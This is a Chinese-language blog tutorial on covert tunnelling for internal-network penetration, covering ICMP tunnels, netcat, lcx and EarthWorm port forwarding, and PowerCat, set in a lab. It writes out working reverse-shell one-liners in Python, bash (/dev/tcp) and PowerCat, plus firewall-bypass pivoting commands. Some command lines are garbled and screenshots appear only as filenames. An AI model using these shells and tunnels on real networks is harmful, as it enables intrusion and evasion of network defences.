内网渗透基石篇 隐藏通信隧道技术(上)

2023年 10月 2日 66.5k 0

前言

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

一、隐藏通信隧道基础知识

隧道

隧道技术是一种通过使用互联网络的基本设施在网络之间传递数据的方式,使用隧道传递的数据(或负载)可以是 不同协议的数据帧或包
。隧道技术将其他协议的数据帧或者数据包重新封装然后通过 隧道 发送。新的帧头提供路由信息,以便互联网传递被封装的负载数据。

在不受信任的网络环境中实现安全的通信

通常使用多种加密技术建立通信隧道

点到点(IP2IP)、端到端(Port2Port)隧道

VPN : PPTP、l2tp、IPSec、SSL vpn

(1) 隐藏通信隧道概述

一般的网络通信,先在两台机器之间建立tcp连接,然后进行正常的数据通信。在指定ip地址的情况下,可以直接发送报文;如果不知道ip地址,就需要将域名解析成ip地址。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙

常用的隧道列举如下。

网络层:Ipv6情况、icmp情况、Gre隧道0

传输层: Tcp 隧道、udp 隧道 常规端口转发 ·

应用层: ssh隧道、http隧道、https隧道、dns隧道

判断内网的连通性

判断内网的连通性是指判断机器能否上外网。 要综合判断各种协议(TCp、HHTp、DNs、Icmp)及端口通信的情况。常见的运行流量流出的端口有80,8080
,443,53,110,1213等

1.ICMP协议

场景 :两台机器间,除了允许互ping,其他的TCP/UDP端口一律不允许,此时可以考虑使用ICMP进行穿透

原理

Windows系统默认传输32bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi,ping包的大小是可以改变的,但是内容依旧不变,循环

Linux系统默认传输48bytes,头信息比较复杂,但是内容也是固定!”#$%&’()+,-./01234567

ICMP隐蔽隧道的原理就是:替换Data部分,利用客户端程序进行接收并处理服务端发送的畸形的ICMP协议(主要是Request和Reply包)

命令 : 执行命令”ping 1.txt

1620009565_608f625d265114391242c.png!small

1620009598_608f627e9bdc0b85547ff.png!small?1620009598902

(7)简易聊天

nc -l -p 888

1620009606_608f6286d18884fedb0a7.png!small?1620009607125

1620009614_608f628e02f6e62c94ade.png!small?1620009614270

3.获取shell:

1.正向shell:客户端想要获得服务端的shell

第一步:在kali (服务端)上监听4444端口,并反弹shell

1620009621_608f6295f1f9c08aacf77.png!small?1620009622366

第二步:在centos(客户端)上连接kali 的4444端口

这个时候,客户端就拿到服务端的shell控制权了

可以随意控制服务端

1620009632_608f62a0267d38519d936.png!small?1620009632444

2.反向shell:服务端想要获得客户端的shell(也就是反弹shell)

先弹shell就是正向shell,后连接

后弹shell就是反向shell,先监听

1620009641_608f62a96a002eefe0718.png!small?1620009641712

1620009658_608f62bae6af86a075b1d.png!small?1620009659303

4.在目标主机中没有nc时获取反向shell

1.python反向shell

nc -lvp 2222

1.服务端(kali 上监听2222)

2.客户端一上线,服务端就成功控制客户端了

1620009668_608f62c4d3f9a19695d81.png!small?1620009669171

3.另一台kali执行py脚本,进行反弹shell。

python -c 'import socket,subprocess,os; 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.128",2222));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

1620009678_608f62ce3dba6f5dbf962.png!small?1620009678559

1620009689_608f62d97e32fcc57b938.png!small?1620009689826

(2)bash反向shell

bash -i >& /dev/tcp/10.10.10.128/4444 0>&1

1620009702_608f62e685cc15fe90a68.png!small?1620009702883

1620009710_608f62ee64db810cab1db.png!small?1620009710700

(3)php反向shell

1620009722_608f62facf0dce787b6e6.png!small?1620009723231

1620009729_608f6301d089c1aad7d9e.png!small?1620009730186

五、内网代理

Socks代理

Socks是一种代理服务,可以简单地将一端的系统连接到另外一端,并且支持多种协议,包括http、ftp请求及其他类型的请求。

有socks4和5两种类型,socks4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份认证机制等协议

Lcx

1.介绍

最为经典而且也是最为频繁的端口转发工具,是一个基于socket套接字实现的端口转发工具,从linux下的htran移植给Windows的。

//内网机器10.0.0.1的3389端口,转发到公网9000端口

lcx.exe -slave 192.168.1.161900010.0.0.13389

//公网机器192.168.1.1,将本机端口9000上监听的所有数据转发到本机5555上

lcx.exe -listen 9000 5555

2.二级网络环境 (一)

#A主机存在双网卡,外网IP,可连接目标网络内主机B

#B主机不能访问外网,能连接A

#B先启动socks代理

ew_for_win32.exe -s ssocksd -l 8888

#A 将1080收到的代理请求转发给B的8888端口

ew_for_win32.exe -s lcx_tran -l 1080 -f 192.168.99.101 -g 8888

3.二级网络环境 (二)

#A主机存在双网卡,内网IP,可连接目标网络内主机B和外网

#B主机不能访问外网,能连接A

#VPS下

ew_for_win32.exe -s lcx_listen -l 8899 -e 8888

#B主机下

ew_for_win32.exe -s ssocksd -l 9999

#A主机下 将公网的8888和内网B的9999连接起来

ew_for_win32.exe -s lcx_slave -d vpsIP -e 8888 -f 192.168.99.101 -g
9999

实验环境:

kali:10.10.10.128

centos:10.10.10.133

kali:10.10.10.136

第一步:在kali 上操作执行监听3333端口

1620009777_608f6331f37ec456e11c5.png!small?1620009778302

第二步:在centos上写入文件连接

1620009785_608f6339d6cb311d93753.png!small?1620009786300

第三步:在另一台上执行反向连接

1620009791_608f633fed385648e9451.png!small?1620009792339

powerCat

1.下载PowerCat

1620009804_608f634c8aea0dfe82001.png!small?1620009804916

1620009814_608f63560f08bca160fe5.png!small?1620009814412

2.PowerCAt命令详解

1.通过nc正向连接powerCat

powercat -l -p 23333 -e cmd.exe -v

1620009834_608f636a5cb0f4824b9ec.png!small?1620009834887

nc 10.10.10.147 23333 -vv

1620009847_608f63771509f9f7502d4.png!small?1620009847409

2.通过nc反向连接powercat

nc -lp 23333 -vv

1620009859_608f63838bed13c582d9e.png!small?1620009860117

powercat -c 10.10.10.128 -p 23333 -v -e cmd.exe

1620009870_608f638e5fc0c852c4c01.png!small?1620009870839

1620009879_608f639789009e629e735.png!small?1620009879862

3.通过PowerCat返回POwerShell

powercat -l -p 23333 -v

1620009904_608f63b0316f4ecef9864.png!small?1620009904590

powercat -c 10.10.10.128 -p 23333 -v -ep

1620009912_608f63b877568796d4ddf.png!small?1620009912855

4.通过PowerCat传输文件

1620009920_608f63c06ea8b6d82adde.png!small?1620009920831

1620009927_608f63c7504bf5765c249.png!small?1620009927630

总结

内网隧道基础上就到这里了,在本文中简单做了几个实验,都很基础,用来理解基础知识刚刚好。

相关文章

服务器端口转发,带你了解服务器端口转发
服务器开放端口,服务器开放端口的步骤
产品推荐:7月受欢迎AI容器镜像来了,有Qwen系列大模型镜像
如何使用 WinGet 下载 Microsoft Store 应用
百度搜索:蓝易云 – 熟悉ubuntu apt-get命令详解
百度搜索:蓝易云 – 域名解析成功但ping不通解决方案

发布评论